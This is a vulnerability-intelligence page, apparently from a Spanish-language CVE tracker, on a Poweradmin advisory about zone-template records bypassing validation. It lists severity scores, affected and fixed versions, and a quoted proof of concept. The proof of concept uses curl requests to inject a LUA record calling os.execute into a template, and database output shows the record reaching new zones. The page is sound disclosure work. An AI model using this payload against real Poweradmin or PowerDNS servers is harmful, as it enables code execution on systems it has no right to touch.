llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · poweradmin/poweradmin

GHSA-C859-JM5R-62X6

Zone-template records bypass record validation, letting LUA code the record form rejects reach new zones

Parche disponible
Descargar PNG JSON
CVSS 3.1
8.5
Alta
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche3 versiones4.2.6 · 4.3.5 · 4.4.1
Exposición28 dDesde la divulgación, 24 oct 2026, 5:50 a. m.
Detección26 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Ponle fecha: las tareas sin fecha son leyendas.Si el fabricante actualiza el aviso, vuelve a mirar.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
24 oct 26
4 nov 26
19 nov 26
21 nov 26
24 oct 26
31 oct 26
7 nov 26
14 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-C859-JM5R-62X6 divulgada · CVSS 8.5 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Zone-template records were stored and applied to new zones without the per-type validation the add-record form applies. A user who can manage zone templates and create zones could put record content the record form refuses, such as a LUA record calling `os.execute`, into a template and have it written verbatim into every zone created from it.

Details

`ZoneTemplate::addZoneTemplRecord()` never calls any per-type validator (only permission and non-empty checks), and `DomainManager::addDomain()` applies template records via `$this->backendProvider->addRecordGetId(...)`, a raw insert, instead of `RecordManager::addRecordGetId()`, which is where validation and the SOA/NS permission gate live.

The fix validates template records against their record type when they are added or edited (`ZoneTemplateRecordValidationService`).

PoC

From the original report (GHSA-cpw8-xprw-73x5), against a local instance with a tenant on the shipped "Zone Manager" template:

The independent zone-template route accepts the *unmodified* naive payload (the exact string the add-record form rejects) with zero validation:

$ T2=$(curl -sS -b zm.jar -c zm.jar 'http://127.0.0.1:8123/zones/templates/1/records/add' \
    | grep -oE 'name="_token" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//')
$ curl -sS -i -b zm.jar -c zm.jar -X POST 'http://127.0.0.1:8123/zones/templates/1/records/add' \
    --data "_token=$T2" --data "zone_templ_id=1" \
    --data-urlencode 'name=tplrce.[ZONE]' --data "type=LUA" \
    --data-urlencode "content=A \";os.execute('id > /tmp/tpl_rce_proof') return '127.0.0.1'\"" \
    --data "ttl=60" --data "prio=0" --data "commit=1"
HTTP/1.1 302 Found
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:11:41 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=efh17lemuan6s3v0v6plgnsttm; path=/; HttpOnly; SameSite=Lax
Location: /zones/templates/1/edit
Content-type: text/html; charset=UTF-8
$ sqlite3 -header pa.db "SELECT id,name,type,content FROM zone_templ_records WHERE zone_templ_id=1;"
id|name|type|content
1|[ZONE]|SOA|[NS1] [HOSTMASTER] [SERIAL] 28800 7200 604800 86400
2|tplrce.[ZONE]|LUA|A ";os.execute('id > /tmp/tpl_rce_proof') return '127.0.0.1'"

Applying the template to a new zone (`zone_master_add` permission) inserts the record verbatim:

$ T3=$(curl -sS -b zm.jar -c zm.jar 'http://127.0.0.1:8123/zones/add/master' \
    | grep -oE 'name="_token" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//')
$ curl -sS -i -b zm.jar -c zm.jar -X POST 'http://127.0.0.1:8123/zones/add/master' \
    --data "_token=$T3" --data-urlencode "domain=viatemplate2.test" \
    --data "dom_type=MASTER" --data "owner=7" --data "zone_template=1" --data "submit=1"
HTTP/1.1 302 Found
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:11:50 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=n4o0bcs9ptejhvkdh72nitpe68; path=/; HttpOnly; SameSite=Lax
Location: /zones/forward
Content-type: text/html; charset=UTF-8
$ sqlite3 -header pa.db "SELECT r.id, d.name AS zone, r.name, r.type, r.content FROM records r \
    JOIN domains d ON d.id=r.domain_id WHERE d.name='viatemplate2.test' ORDER BY r.id;"
id|zone|name|type|content
120|viatemplate2.test|viatemplate2.test|SOA|ns1.provider.net hostmaster@tenant.test 2026072800 28800 7200 604800 86400
121|viatemplate2.test|tplrce.viatemplate2.test|LUA|A ";os.execute('id > /tmp/tpl_rce_proof') return '127.0.0.1'"

Round-trip confirmed: no bypass technique was needed for the template path at all.

Impact

Content the record form would reject reaches the zone unchecked. For LUA records this means arbitrary Lua runs inside `pdns_server` whenever LUA records are enabled for the zone, either through the operator's PowerDNS configuration or, on 4.3.x and 4.4.0, through GHSA-cpw8-xprw-73x5.

Split from GHSA-cpw8-xprw-73x5.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
6.3/ 10Medio
Vector 6.3 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
poweradmin/poweradmin≥ 4.0.0 < 4.2.6
poweradmin/poweradmin≥ 4.3.0 < 4.3.5
poweradmin/poweradmin≥ 4.4.0 < 4.4.1
4.0.0
4.2.6
4.3.0
4.3.5
4.4.0
4.4.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistpoweradmin/poweradmin
Corregida 4.2.6, 4.3.5, 4.4.1 — —
Versiones corregidas4.2.64.3.54.4.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/poweradmin/poweradmin/security/advisories/GHSA-c859-jm5r-62x6

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.